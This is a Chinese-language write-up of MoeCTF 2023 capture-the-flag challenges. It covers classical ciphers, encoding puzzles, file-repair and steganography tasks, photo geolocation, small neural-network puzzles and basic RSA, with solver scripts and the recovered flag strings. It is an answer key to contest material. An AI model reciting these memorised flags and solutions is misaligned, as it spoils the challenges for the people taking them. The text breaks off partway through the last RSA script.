西电CTF平台——MoeCTF 2023 WriteUP
古典密码
ezrot
rot类解码,一个一个解码,最终rot47解码得到flag。

vigenere
既然提示了是维吉尼亚密码,需要知道个key。维吉尼亚的特点跟异或一样,假设AB=C,那么AC=B,B^C=A,根据这个原理,直到答案肯定是moectf开头的,所以先拿moectf作为key,拿到真正的key为goodjo。

文档还给出了flag的md5,计算一下,发现不对。

结合key中goodjo不像一个完整的英文单词,猜测应该是goodjob,解密成功。

不是“皇帝的新密码”
跟上一题一模一样
可可的新围墙
通过"新围墙"可以很容易地想到栅栏解密。但是这题是个w型栅栏,编写脚本解密。
def dec(encrypted, num):
matrix = [([0] * len(encrypted)) for i in range(num)]
cur = 0
for i in range(num): # 按行来填
# 生成每行空格个数的取值序列
if i == 0: # 第1行和最后一行,只需要一个取值就好了
pair = [(num - (i + 1)) * 2 - 1]
elif i == num - 1:
pair = [i * 2 - 1]
else:
pair = [(num - (i + 1)) * 2 - 1, i * 2 - 1]
# 按规则填入
pair_i = 0
j = i
while True:
if cur < len(encrypted):
matrix[i][j] = encrypted[cur]
cur += 1
j += pair[pair_i % len(pair)] + 1 # 这里要加1,直接加间隔是不够的
pair_i += 1
if j >= len(encrypted):
break
# 临时输出
# for i in range(num):
# for j in range(len(encrypted)):
# print (matrix[i][j], ' ')
# print()
# 获取i的取值序列
i_s = []
for a in range(num):
i_s.append(a)
for a in range(num - 2, 0, -1):
i_s.append(a)
i_s_len = len(i_s)
# 按规则取出
decrypted = ''
for j in range(len(encrypted)):
decrypted += matrix[i_s[j % i_s_len]][j]
return decrypted
ciphertext = 'mt3_hsTal3yGnM_p3jocfFn3cp3_hFs3c_3TrB__i3_uBro_lcsOp}e{ciri_hT_avn3Fa_j'
for i in range(2, len(ciphertext)):
plaintext = dec(ciphertext, i)
if "moectf" in plaintext:
print(plaintext) # moectf{F3nc3_ciph3r_shiFTs_3ach_l3TT3r_By_a_Giv3n_nuMB3r_oF_plac3s_Ojpj}
猫言喵语
文件内容如下。
喵喵? 喵喵喵喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵? 喵喵喵喵喵? 喵喵喵喵喵?喵喵? 喵喵喵喵喵? 喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵 喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵?喵喵喵 喵喵?喵喵?喵喵? 喵喵喵喵喵喵喵喵? 喵喵?喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵?喵喵喵喵喵?喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵喵喵喵?喵喵喵 喵喵?喵喵喵喵喵喵喵喵?
根据文件提示"Morse code",是摩斯密码。众所周知。摩斯密码只有两种符号,所以得把文件内容根据特征划分成两块。内容中的空格相当于分隔符,根据观察,可以看出"喵喵?"是一组,"喵喵喵"是一组,根据这个规律进行转换,得到如下内容。
./----/-/--..-./.-./-./-../-./--/--/--..-./.-.-/-././--..-./.---/--././--..-./.---/-/--..-./.-.-/-./-.--/-.--/-/.--/--..-./..-/.../--./..--/--/--..-./.---/.-../--..-./-.-/.--.
解码发现有问题,将"-"和"."交换一下解码成功。

套上moectf{},提交即可。
皇帝的新密码
通过"皇帝"两个字再结合我们所知道的古典密码,只有凯撒密码了,当偏移量为7时获得flag。

安全杂项
base乐队
附件内容如下。
HFUEULC5HEZG42DGHFGDWSCTHRCUIUSVHFGDWS2EGZMCCRDKG5XG2LDEHFUTYYZGHJSUMKKDGVZDELBRHBIW4UCQGZLGOP2SHEYV44ZOHEZFYXCZHEYUIV2VGEXVK4KRHBWFWY2OHVMWSYCKG5XFCZTBHEZC6I2WHJST2ZK4HEXTSMDSHA3CKZRZGRNHI4LL
根据题目意思,应该是base家族的一些加解密,经过尝试,经过一次base32、一次base85、一次base32可以解出如下内容。

看起来也像是base编码,但是为什么中间会有一个等号?这里卡了好久,经过尝试,需要先进行一次栅栏解密,在进行base64解码即可还原。


building near lake
这题跟信息泄露有关,附件是个图片,先通过百度搜图看看是哪里。

根据原图中的umx和搜索结果可以定位到厦门大学,搜索厦门大学的经纬度。

题目中说使用的是BD09坐标系,所以就要将GPS坐标转为BD09坐标。
function wgs84ToBd09(lng, lat) {
var pi = Math.PI * 3000.0 / 180.0;
var x = lng,
y = lat;
var z = Math.sqrt(x * x + y * y) + 0.00002 * Math.sin(y * pi);
var theta = Math.atan2(y, x) + 0.000003 * Math.cos(x * pi);
var bdLng = z * Math.cos(theta) + 0.0065,
bdLat = z * Math.sin(theta) + 0.006;
return {"bdLng": bdLng, "bdLat": bdLat};
}

还差一个拍摄设备的发布会时间,查看图片的详细信息,发现是小米的设备,照相机型号为22122RK93C。

网上搜索,可以发现改照相机型号用于Redmi k60手机上,搜索Redmi k60手机的发布会时间得到2022年12月27日。


填上相关信息,提交获得flag。moectf{P0sT_Y0uR_Ph0T0_wiTh_0Riginal_File_is_n0T_a_g00d_idea_YlJf!M3rux}

打不开的图片1
下载得到一个破损的文件,用16进制编辑器打开,看到文件头和文件尾就可以想到是个jpg格式的文件。


但是文件头有点不对,将第二个字节改成D8,保存为jpg格式。

打开图片,啥也没有,右击属性,在详细信息中看到一串16进制编码,解码得到flag。


打不开的图片2
这次显示文件是个jpg格式的图片,但是打不开,16进制编辑器打开,看到文件头出现了IHDR头,就可以想到其实是个png格式的图片,再看到文件尾,更加证实了是个png文件。


修改文件头前4个字节为89504e47,保存。

打开图片,即可看到flag。

杂项
Misc 入门指北
文档最后有个base64编码的字符串,直接解码即可获得flag。


weird_package
打开是个损坏的压缩包,不过我们有个强大的工具winrar,它有修复压缩包的功能,让其修复,解压得到9个文件。


16进制打开所有的文件,都是些base64编码字符串,尝试去解码,但都是乱码。
FcbNCoJAEADgV1L3NAcvpbP2N4HarDtHcWuTWRCCiJ5+6/DBNztQb/oUzPJeSigGq9+p+sO7JDwLQxotdlMR42Dx4BlGWmWb2554pdZXKvLE163Zbc59Tr/TxRzL0Gh3ZYH9o64z
DcPBDoIwDADQX2KdJvbABVmniS6x0IHHoaiJnXqb8evx8KYB9Ww5z/ZSrgar5LUf4a+iGz/pwBH95Og1wqNJjt6niKvjL3ySuNJlNdI2bt5FI77A0FEf82a9FxMEvoFBcXuv6wU=
FcqxDsIgEADQX6Iw3dAF4x0x0kRSr7Rb8VQGLjoZ9eurw9temaDNLunVyUs6MCu1b7Z/eEuKx4WBCmHIttaV8DEzDBd9LylwJ2PzxZzsmA8+7uUZDQ6s4Kczfn4nRMewu/f9Bg==
FcPBDoIwDADQX3Ls1CuRYmLGAUZHe0PFLGbVxB5Uvn7x8C4JCvtRN3/93BzMa1/i0vzhXRTfQqAh4XNpcl57fDFBG3bpNmwtpq+b98EmlRMf8Dd6OtNjsHCUjl2xOCFU
FcOxCsIwEADQXzIpHW4VvIhCxPZsmttOG4kkZ8DBoV9fOrxngBq7QVO3/BcDB3F1ne0O36z44wlUAn5nm7M4bHECGj+nTMT+pWxuoWpypZcRr4MFpUdbfbn30Rx9Ol9gAw==
FcNRC4JADADgv6QnQXvwKdw0mNAd3uneOqwkNpACkX699PDlBDpV3h7VvM0lDIH0N7o/fIrhRyJYJmzHYlkCYTfF84nbqwxOt2D9KsquN/36pkxc+Pc9qnVpvzGp5GaFy6uuDw==
FcOxDoIwEADQX/LOxRtYMBwu19iCLbBRqzbaU6KL8euJw4uByrh1eoF09ECbuS39gH98nZTfAqQS+DlgznPLr9HvMIIxKXyXE9d32wu6Q7axgU/y8ovNog5NfX4k6MpE+1tVrQ==
FcPNEoIgEADgVwI57cFTuUx/NK7pIkekYobWI00+vdPhiwyf2ZA8TapJgxps0b75w1cQvIYJJFpcvcp5sHiaJ6h0DG4p3ZeasvWj5qgw9P78i92yJXb1MZLcTL7c2cHh3bY7
FcPBCsIwDADQXzJuHnL0UEIFGbZLtuxmN4tIIoIgY18/PLwyoGmT/AFLVEk1kYUR7LcIhgLIf5mk6nh5ZbLj1GONw3q7kk0lfDzyYZvf0nY8n8T1mR3bO8O3689boRV3

多串字符串,想法是base64隐写,尝试了一下,没有内容。

其实cyberchef里有个强大的算法magic,用完之后知道还需要进行Raw_Inflate解码才能得到正确的明文。

不过这九个里面只有最后一个解出来的才是最终flag。

你想要flag吗
拿到一个wav文件,直接先用audacity打开,查看频谱图,看到key和pwd。

wav中应该是隐藏了一个什么加密的文件需要用pwd去解压,利用steghide去分析一下。

解压得到兔兔.txt,打开,一眼看过去像是base64加密,解压看到有salted字样,想到了AES加密和Trible DES加密,尝试用key去解密。发现都解密不出来,最后尝试了一下rabbit加密,成功解密。


套上moectf{}即可。
奇怪的压缩包
附件是一个zip文件,打开看到如下内容。

有经验的可以很容易看出其实是个ppt文件,不知道也可以利用kali里面的file命令来识别,修改后缀为ppt打开。

这种题就是ppt隐写了。第一张图片没有什么内容,第二张图片的文字颜色跟背景颜色一样了,需要修改颜色才能看到。
原始的:

修改颜色后:

第三张图片原始图如下:

将妙蛙种子移开就可以看到内容。

第四张图片原始图如下:

也是将妙蛙种子移开看到内容。

第五张图片原始图如下:

但是找了半天也没找着,原来藏在了大纲中。

将4部分拼接起来得到moectf{2ip123456n0_i4_pp4x!}提交,发现不对。还是第三张图片有问题,因为旁边有个注解,会不会要表达的不是123456,而是_?_呢(这个我真的是看完所有ppt的xml文件,发现已经找不到任何东西了,灵机一动换的,足足耗了我2个小时,我晕),修改完之后,最终答案为"moectf{2ip_?_n0_i4_pp4x!}",提交成功。
尊嘟假嘟?
附件内容如下。
Ö_o owO 0v0 Owo o.O O.O Ö.0 OwO ÖwO 0wO Ov0 OwO Ö.O ÖvÖ Ö.0 Ov0 o.O OvÖ 0w0 OvO o_0 O.Ö Öw0 Ö_0 Ö.O Ö.O O.0 owo ÖvÖ O.o Ö.0 Övo o_0 ÖvÖ 0w0 Ö_0 Övo ow0 Ov0 Ö.0 Öwo 0wÖ O_0 O.Ö o_o 0wÖ Ö.0 Övo Ö.o Ö.Ö Övo ovo Ö.O Ö.o o_0 O.o ÖvO owO 0_0 owO Ö_o 0wÖ Öv0 0wO o.O OwÖ Öw0 O.o Öw0 O.o 0.0 O_O Ö_0 Ö.o Ö.0 0v0 Öw0 Ö.O 0_0 0vÖ Övo owÖ Ov0 0_Ö Öv0 Ö.Ö O.0 0vÖ Ö.o 0vÖ 0.0 OwÖ ÖvÖ ÖvÖ o_0 0_0 ÖwO Ö.O Övo ovo o.O 0vo Ö.0 owo Öv0 ÖvÖ Öw0 Öwo Ö.0 Ö.O o.0 O_Ö o_o O.0 Ö.0 Öwo Ö.o Ö.O ov0 Öw0 Ö_o owÖ Ö.0 Ov0 o_0 Ö.O ov0 Ö.0 Öwo Ö.O o_0 owo o_o O.Ö 0.0 OvÖ Öw0 Ö.O 0_0 ÖvÖ Ö.0 Ö.Ö 0w0 O.O Ö_o owÖ Öv0 O.O Ö.0 O.o ov0 OvÖ ÖvÖ Ö.0 0.0 Ö.O ÖvO O.o Ow0 O_o Ö.O 0vo ov0 OvÖ o.Ö OwÖ Ö.0 0w0 o.O owÖ 0.0 O_Ö ÖvÖ Ö.0 O_0 Ö_0 Öw0 Ö.O O_0 0wO o_O Ö.o O_0 Övo Öw0 ow0 O_0 ÖwO Ö.0 Ö.O Ö.0 O.Ö Öv0 O.o Ö.0 Ö_0 o.Ö ow0 Ö.0 0wÖ OvO 0vO 0_0 0v0 o_O ÖvÖ 0.o 0wo o_0 O.O 0w0 0v0 O_o O.Ö Öv0 0w0 o.O Ö.O Ow0 0.0 o.Ö 0vO o_o 0wo ÖwO OvO Ov0 0wO o_O Ö.Ö Öv0 0v0 o_o OwO Ov0 0_Ö Ö_0 0wO Ov0 0.o Ö_o Ö.Ö Öw0 0.o O_o O.O o.0 0vO O_o OvO O_0 ovO o_0 Ö.O ov0 0vo o_0 Ö.O 0.0 0.0 Ö_o Ö.O Öv0 ow0 ÖwÖ OwO O_o 0wo o_0 owO 0w0 0.0 Ö_o owO 0wo 0wo Ö_o 0vO Ö.0 0vÖ o.O Ö.O ovo 0wo o_0 owO 0v0 owo o.O OvO Ov0 0wO Öw0 0wÖ Ovo ov0 Öwo ÖvÖ 0vo Owo Öw0 O.O Öw0 0vo Ö_0 0vO O_o O_O o.O Ö.Ö Ö_o ovO O_o O.Ö Öv0 0.o Ö_0 ÖvO Ov0 0v0 o.Ö 0vO Övo 0wo ÖwO OvO Ov0 0wO o_O Ö.Ö Öv0 0v0 o_o OwO Ov0 0_Ö Ö_0 0wO Ov0 0.o Ö_o Ö.Ö Öw0 0.o O_o O.O o.0 0vO O_o OvO O_0 0vo o_0 Ö.O Öv0 ow0 Ö_0 O.Ö Ö.o Ö_Ö O_o 0wO Ov0 owÖ o.O O.O 0v0 0wÖ o.O OvO Ov0 0wO Ö_0 Ö.O o_0 0.0 o.Ö 0wO Ov0 owÖ o.O Ö.Ö Öv0 0.o O_o OvÖ O_o owÖ Öwo 0vO O_0 0vO Öwo Ö.O Öv0 0w0 Öwo 0wÖ O_o Owo Öw0 Owo 0.o O_O o.O O.O 0v0 0_O o_0 OvÖ O.o ovO O_o O.O 0w0 0_Ö o_0 OwO Ov0 0vo o.Ö OwO Ov0 OvO o.O Ö.Ö Öv0 0wÖ o.Ö owO 0v0 0_O O_o O.O O.0 0vo Ö_0 O.Ö O_0 0v0 o_o owÖ Öw0 0v0 o_o OwO Ov0 0v0 o.Ö 0vO Öw0 0_Ö Ö_0 O.O Ö.o Ö_Ö OvO 0vO 0w0 0.0 o.Ö 0vÖ Övo OwO ÖwO 0wO Ov0 owo o.O O.O Ö.o 0wo o.Ö 0vO O.0 0_0 Ö_0 ÖvO Ov0 0_Ö Ö_0 0wO Ov0 0wÖ o_o 0vÖ 0v0 Owo o_0 O.O o.0 OwÖ o_O Ö.Ö Öw0 owo Ö_0 Ö.O owo 0wo o.O Ö.Ö Öwo 0wo O_o 0vO O_0 0_o O_O 0wO 0.o 0.O O_O 0vÖ Öw0 0.o O_o 0wo
上网搜索了一下"尊嘟假嘟?",发现是个网络流行用语。

一开始以为是要将附件中的内容根据尊嘟假嘟翻译成上图中框起来的的符号,但是附件中的内容不止三种,此法不通。
上谷歌翻阅了大量资料,终于找到了一个尊嘟假嘟转换器(https://zdjd.vercel.app/),转换一下。

翻译得到的内容如下。
cipher: rY5Ah8BtsYYatLEPu8YCPU22Gr5PQt8YGDKkvb4bk3D4JJeEe5kgCpoEqgRzsM7m9d8jEtE3LUoKpULQnMcuAunU1gtpzC5kSUxFctFTNCMZVHLHZNCo5akzKMRY5bbyBP7RNUeGDEYoUc
key: the tailing 8 bytes of hash of "zundujiadu?" which begin with b6091904cdfb
iv: the end 8 bytes of hash of "dududu?" which begin with 272bf1da2207
hint1: how do Bitcoin addresses encode?
hint2: the name of cryptosystem is "bl****sh"
根据提示对zundujiadu?和dududu?进行sha256加密


根据第一个提示对比特币地址如何编码进行搜索

有base58编码,再根据第二个提示看哪个加密方式是bl开头,sh结尾的,找到blowfish算法。

对密文按照base58、blowfish、base64的顺序解码得到flag。

机位查询
附件给了我们三张图片,叫我们找到这三张照片分别是在哪栋楼拍的。



第一张照片可以看到南宁站和中铁快运营业部,放大还可以看到猪霸王煮粉,直接百度地图上搜,就可以定位到大概的位置了。

候选地点是嘉士摩根国际。
第二张照片是最简单的,直接百度识图,可以看到有个人在小红书上刚好发布过这张图片,直接拿到了拍摄地点。
https://www.xiaohongshu.com/explore/5f223da3000000000101f3f2

第三张照片是最头疼的,全都是高楼,能够看到的只有广西农信,时代丽都,搜索相关位置,找到了大概区域。

但是能够拍到这张图片的位置可不少。试了好久也没试对。最终在图片的属性信息中看到了有经纬度。接下来就可以定位了。手机上下载"经纬度定位"app,输入经纬度就得到了地址。(一开始用谷歌定位一直定位不出来,真的是日了)
经度:108; 21; 33.0084219999844919
纬度:22; 48; 48.3576960000066

最终将三个地点的前两个字的拼音进行拼接即可,即jiashi_baisheng_huijin。
这题做了2个多小时,人都麻了。
烫烫烫
根据锟斤拷锟斤拷锟斤拷去搜索相关知识。

说明在编码方面出现了问题,尝试用utf-8解码,没有效果,换了几个编码方式,才知道是utf-7。

得到如下内容。
这是你的flag:
a9736d8ad21107398b73324694cbcd11f66e3befe67016def21dcaa9ab143bc4405be596245361f98db6a0047b4be78ede40864eb988d8a4999cdcb31592fd42c7b73df3b492403c9a379a9ff5e81262
但是flag用AES加密了,key是下面这行字的sha256(hash值的开头是b34edc782d68fda34dc23329)
所以说,codepage真的很重要啊(
对所以说,codepage真的很重要啊(进行sha256加密得到key为b34edc782d68fda34dc2332967273b0f0900a0ebd0dcec48467851bc6117bad1,然后进行aes解密拿到flag。

照片冲洗
附件是一张图片,提示说不小心把两张照片粘在一起了,说明附件的图片是由两张图片拼在一起的,需要将其分离。
先利用binwalk去分析,发现没有。

再用zsteg命令,发现有隐藏信息,明显是png文件的头。

用16进制编辑器打开图片,搜索"49484452",可以发现有两个。

只不过后面这张图片的文件头都为0,将后面这部分的16进制剪切出来,将文件头改成89504e470d0a1a0a即可。

打开俩张图,发现图都是一样的,第一反应就是盲水印,利用github上的脚本(https://github.com/chishaxie/BlindWaterMark) 解密。


打开解密的图片,发现啥都没有。是不是思路错了呢?再试一下将两张图片进行重叠,这里需要利用stegsolve.jar工具,尝试了add、xor、sub等结合方式都没发现。最后发现盲水印还有一种频域提取方式,这里利用github上的工具(https://github.com/Byxs20/PuzzleSolver)。

设置好后,点击开始执行,得到的图片如下。

发现是有信息,但是很模糊,这里还是利用stegsolve.jar工具,在Color Inversion通道中看得稍微清楚点。

套上moectf后得到:moectf{W0w_you_6@v3_1earn3d_blind_w@t3rma2k}
狗子(1) 普通的猫
下载得到一个音频,用audacity打开没有什么发现。最后用16进制编辑器打开,flag就藏在文件尾。

狗子(2) 照片
图像隐写题,直接利用kali系统中的几个常用的分析图片的命令就可以了。
先利用strings命令看图片的二进制代码中是否包含flag。

没有再看图片中是否含有其他文件,利用binwalk命令。

也没有,接下来就是利用zsteg命令看图片是否存在隐写。

找到了,手工完事。
狗子(3) 寝室
这题是个压缩包的循环嵌套,包含tar.gz,tar,zip,7z四种类型的压缩包格式,直接编写脚本解压。
import tarfile
import zipfile
import py7zr
import os
name = 'ziploop.tar'
while True:
print(name)
index = name.find('.')
suffix = name[index:]
if suffix == '.tar' or suffix == '.tar.gz':
tar = tarfile.open(name)
tar.extractall(path=os.path.split(name)[0])
name = tar.getnames()[0]
elif suffix == '.zip':
with zipfile.ZipFile(name, 'r') as zip_ref:
zip_ref.extractall(path=os.path.split(name)[0])
name = zip_ref.filelist[0].filename
elif suffix == '.7z':
file = py7zr.SevenZipFile(name, mode='r')
file.extractall(path=os.path.split(name)[0])
name = file.getnames()[0]
print(name)
最后解压出一个flag.txt文件,里面就是flag。

狗子(4) 故乡话
得到内容如下,只有true和false,第一反应就是需要将其转换成01字符串。

看样式转字符根本不可能,去掉1,看这些0组成的图案,有点感觉像矩阵图。

结合提示“狗子所用的语言,似乎在地球上某款知名沙盒游戏也出现过”,说的应该是“我的世界”中的银河字母。

看0中间包围的图案对照银河字母,得到flag。moectf{dontanswer}

计算机基础
CCCCC
代码如下。
#include<stdio.h>
#include<string.h>
int main()
{
//unsigned char flag[]="moectf{HAHA_C_1s_easy!}";
unsigned char enc_data[]="mng`pc}OIAKTOR?|Ots`m4k",flag[23];
int i;
for( i=0;i<strlen(enc_data);i++)
{
flag[i]=enc_data[i]^i;
}
puts(flag);
return 0;
}
其实代码里已经给出flag了,接下来理解一下,将enc_data中的每一位字符异或上它在数组中对应的索引得到flag,转换成python语言如下。
enc_data="mng`pc}OIAKTOR?|Ots`m4k"
res = ""
for i in range(len(enc_data)):
res += chr(ord(enc_data[i])^i)
print(res) # moectf{HAHA_C_1s_easy!}
Python
理解一下程序,enc2中的字符是enc1中的字符异或上0xff得到的,然后如果enc2中的字符与上0xf3不为0,flag就拼接上其对应的字符,如果enc2中的字符与上0xf3为0,则flag就拼接上enc2中的字符异或上0xff再与上0xc后的结果的对应字符。
moectf{Pyth0n_1z_0ur_g00d_friendz}
runme
windows系统下cmd命令行运行拿到flag。

runme2
Linux系统下命令行运行拿到flag。若权限不足,先提升权限后再运行。

人工智能安全
AI入门指北
题意如下。

访问pytorch官网,查找安装不带GPU的pytorch命令。

连接来后就是flag。
moectf{install_torch_torchvision_torchaudio}
EZ MLP
用pycharm打开附件,运行一下run.py,发现报错了。

上网搜索一下这个错,发现是做矩阵相乘的时候维度不匹配造成的。

根据报错定位到错误代码处,是在执行np.matual()函数的时候出现了维度不匹配的情况,把x和weight的维度输出来看一下。只需要在fc函数中加两个打印函数即可。
def fc(x, weight, bias):
print(x.shape) # (4,1)
print(weight.shape) # (4,4)
return np.matmul(x, weight) + bias
我们都知道两个矩阵相乘得满足(a,b)*(b,c)这种形式的才能乘,故这里只需要把两个参数交换一下位置,再运行就可以获得flag。
def fc(x, weight, bias):
# print(x.shape)
# print(weight.shape)
# return np.matmul(x, weight) + bias
return np.matmul(weight,x) + bias

EZ Conv
手搓卷积。
import numpy as np
b = np.load('npys/b.npy')
inp = np.load('npys/inp.npy')
inp = inp[0]
w = np.load('npys/w.npy')
out = list()
for i in range(25):
out1 = list()
for x in range(5):
for y in range(5):
tmp = inp[x:x+5,y:y+5]
out1.append(sum(sum(tmp*w[i][0])))
out.append(out1+b[i])
out = np.matrix(out)
from PIL import Image
MAX = len(out)
pic = Image.new("RGB",(MAX, MAX))
for x in range(MAX):
for y in range(MAX):
if out[x,y] > 0:
pic.putpixel([x,y],(255, 255, 255))
else:
pic.putpixel([x,y],(0,0,0))
pic.save("flag.png")
得到一张二维码。

在线扫描得到flag。

A very happy MLP
需要理解torch.nn.Linear函数的运算方式,然后只需要写出sigmoid()以及fc()的反函数即可直接求得flag,梯度下降反而不能得到正确的flag,
import torch
import numpy as np
from model import Net
def inv_fc(y, weight, bias):
return torch.matmul(y - bias, torch.pinverse(weight).T)
def inv_sigmoid(y):
return torch.log(y / (1 - y))
def float2chr(f):
return chr(int(np.round((f + 1) / 2. * 255.)))
def verify(flag_path):
def verify_flag(flag_tensor):
checkpoint = torch.load('_Checkpoint.pth')
net = Net()
net.load_state_dict(checkpoint['model'])
base_input = checkpoint['input']
output = net(base_input + flag_tensor)
return torch.equal(torch.round(output.detach(), decimals=5), torch.tensor([2., 3., 3.]))
def show_flag(flag_tensor):
flag = ''
for f in np.array(flag_tensor).ravel():
flag += float2chr(f)
print('moectf{' + flag + '}')
try:
flag_tensor = torch.load(flag_path).detach()
except:
print('Invalid flag path.')
return
if verify_flag(flag_tensor):
print('You made this little MLP happy, here\'s his reward:')
show_flag(flag_tensor)
else:
print('Sad :(')
net = Net()
# Load model and base_input
checkpoint = torch.load('_Checkpoint.pth')
net.load_state_dict(checkpoint['model'])
base_input = checkpoint['input']
intended_out = torch.tensor([2., 3., 3.])
intended_fc3_inp = inv_fc(intended_out, net.fc3.weight, net.fc3.bias)
intended_fc2_out = inv_sigmoid((intended_fc3_inp + net.scale / 2) / net.scale)
intended_fc2_inp = inv_fc(intended_fc2_out, net.fc2.weight, net.fc2.bias)
intended_fc1_out = inv_sigmoid((intended_fc2_inp + net.scale / 2) / net.scale)
intended_fc1_inp = inv_fc(intended_fc1_out, net.fc1.weight, net.fc1.bias)
out = net(intended_fc1_inp)
assert torch.equal(torch.round(out.detach(), decimals=6), intended_out)
flag_tensor = intended_fc1_inp - base_input
torch.save(flag_tensor, '_ExpFlag.pth')
verify('_ExpFlag.pth')
现代密码学
ABC
题目给出了3个npy文件,直接利用numpy库读取,判断每个数组的大小,并将三个矩阵相乘。
import numpy as np
a = np.load("a.npy")
b = np.load("b.npy")
c = np.load("c.npy")
abcm = np.matmul(np.matmul(a, b), c)
查看乘完之后的结果,发现不是-1就是1,原本想按照颜色进行区分显示出来,但是看了半天也没看出什么东西。卡了很久之后,才想到将-1对应的点变成黑色像素点输出,将1对应的点变成白色像素点输出,果真得到了一个二维码。
import numpy as np
from PIL import Image
import matplotlib.pyplot as plt
a = np.load("a.npy")
b = np.load("b.npy")
c = np.load("c.npy")
abcm = np.matmul(np.matmul(a, b), c)
abcm = np.int8(abcm > 0)
# print(abcm)
aa = np.asarray(abcm)
g = Image.new('RGB', (29, 29), color='white')
for i in range(len(aa)):
for j in range(len(aa[i])):
if aa[i][j] == 0:
g.putpixel((i, j), 0)
g.show()
g.save('./1.png')

扫码得到flag。

Crypto 入门指北
把代码运行一下就能拿到flag。
from Crypto.Util.number import * # 一个非常好用的crypto库
p = 0xe82a76eeb5ac63e054128e040171630b993feb33e0d3d38fbb7c0b54df3a2fb9b5589d1205e0e4240b8fcb4363acaa4c3c44dd6e186225ebf3ce881c7070afa7
q = 0xae5c2e450dbce36c8d6d1a5c989598fc01438f009f9b4c29352d43fd998d10984d402637d7657d772fb9f5e4f4feee63b267b401b67704979d519ad7f0a044eb
c = 0x4016bf1fe655c863dd6c08cbe70e3bb4e6d4feefacaaebf1cfa2a8d94051d21e51919ea754c1aa7bd1674c5330020a99e2401cb1f232331a2da61cb4329446a17e3b9d6b59e831211b231454e81cc8352986e05d44ae9fcd30d68d0ce288c65e0d22ce0e6e83122621d2b96543cec4828f590af9486aa57727c5fcd8e74bd296
e = 65537
n = p*q
phi = (p-1) * (q-1) # 你知道什么是 欧拉函数吗 [1]
d = pow(e, -1, phi) # 什么是乘法逆元? [2]
m = pow(c,d,n)
print(long_to_bytes(m)) # b'moectf{weLCome_To_moeCTf_CRypTo_And_enjoy_THis_gAme!_THis_is_yoUR_fLAg!}'
baby_e
代码如下。
from Crypto.Util.number import getPrime,bytes_to_long
p,q = getPrime(2048),getPrime(2048)
e = 7
n = p*q
m = bytes_to_long(open('flag.txt','rb').read().strip())
c = pow(m,e,n)
print("c = ",c)
print("n = ",n)
# c = 147693154873835354725007152781732424355869776162377337823960431913672366269917723916891506269449726723757821517328874729037838600793748824028829185409932536014732765063216715033843955453706710187792772702199448156372644163429786386035008302836467605094954587157232829525150652611067567669525072625329634860065850520051628272535479197120008981979404760445193750864902244921407742155742716289495581989134730376783828846663464819337418977287363028738701414486788851136608957124505485242331701209645216580641917007780811842757125048746184068597664780265422321550909392419865169775282217442331295071069272774722564587602419768461231775480847018941840911357926330143045826277813722919121117172763493242590521245640828462665947672485094793188432098216701511715232654611338293295459889814699850788048985878279440740712956248569068077253790198036918598519191892836075254345518967666166925163908185663991353344555402397055977817370082929420443034626201745027965444069777059760865359310439815816749939498993014457995041394803598825093836045546578310632172636478575946653375857640993393714607308326474003446154152048840071034349831168612740218034679021240949747357214453636633636662650940968576792518622437627529244515229173
# n = 553409369582823237678532685244026647155180191225879439432235077135813123637186465008813830373646133388592395760175777499266561095087891764348044063111935877931069321764391883899483374576303169645488542398590564148654412004383012178107972880058460460806768779452529433458826925606225797078653905380530651390617109384086518728626571028089036812787671647095695947167204428442727185744172445701874820612799168887428075695751162763647868386879374037826876671079326544820609721731078985096813307183878793033824330869698508952853770794414757655681370862323768018291030331209143189638496644361618184164228294031490537429556439588954274708598530042700988138862000054458742762198052079867259365645914383561162796796952346445529346145323567650621600171442575319262718389389870407629339714751583360252884338116164466349449862781112019462555743429653595045695696967783338371470032332852204294900011651434678829104876529439166176589508898757122660322523937330848536715937381297551894198974459004139082562228022412335520195652419375915216074658463954339332593244483927157329404652516225481116614815221154229491846087288087715884363786672244655901308480290011237244562251084095684531716327141154558809471185132979704992609461470501119328696999713829
题目中给出了e,c,n。我们都知道rsa算法最重要的是需要知道p,q,e,其他的变量都可以根据这三个变量得到。
n=pq
dp=(p-1)(q-1)
c=pow(m,e,n)
m=pow(c,d,n)
题目中的p和q是随机生成的,长度都为2048,但是有n,所以第一想法是去暴力分解n。这里介绍两个常用的分解大素数n的工具。一个是在线网站,一个是yahu。我尝试了这两个工具,但是因为n实在太大,无法分解。


既然分解不出来p和q,就换一种思路。我们可以观察到e很小,但是n很大,加密的c=(m^e)mod n,当me<n时,c=me即对c开方就能得到m,当me>n时,则有me=k*n+c,对k进行爆破。编写脚本:
import gmpy2
e = 7
c = 147693154873835354725007152781732424355869776162377337823960431913672366269917723916891506269449726723757821517328874729037838600793748824028829185409932536014732765063216715033843955453706710187792772702199448156372644163429786386035008302836467605094954587157232829525150652611067567669525072625329634860065850520051628272535479197120008981979404760445193750864902244921407742155742716289495581989134730376783828846663464819337418977287363028738701414486788851136608957124505485242331701209645216580641917007780811842757125048746184068597664780265422321550909392419865169775282217442331295071069272774722564587602419768461231775480847018941840911357926330143045826277813722919121117172763493242590521245640828462665947672485094793188432098216701511715232654611338293295459889814699850788048985878279440740712956248569068077253790198036918598519191892836075254345518967666166925163908185663991353344555402397055977817370082929420443034626201745027965444069777059760865359310439815816749939498993014457995041394803598825093836045546578310632172636478575946653375857640993393714607308326474003446154152048840071034349831168612740218034679021240949747357214453636633636662650940968576792518622437627529244515229173
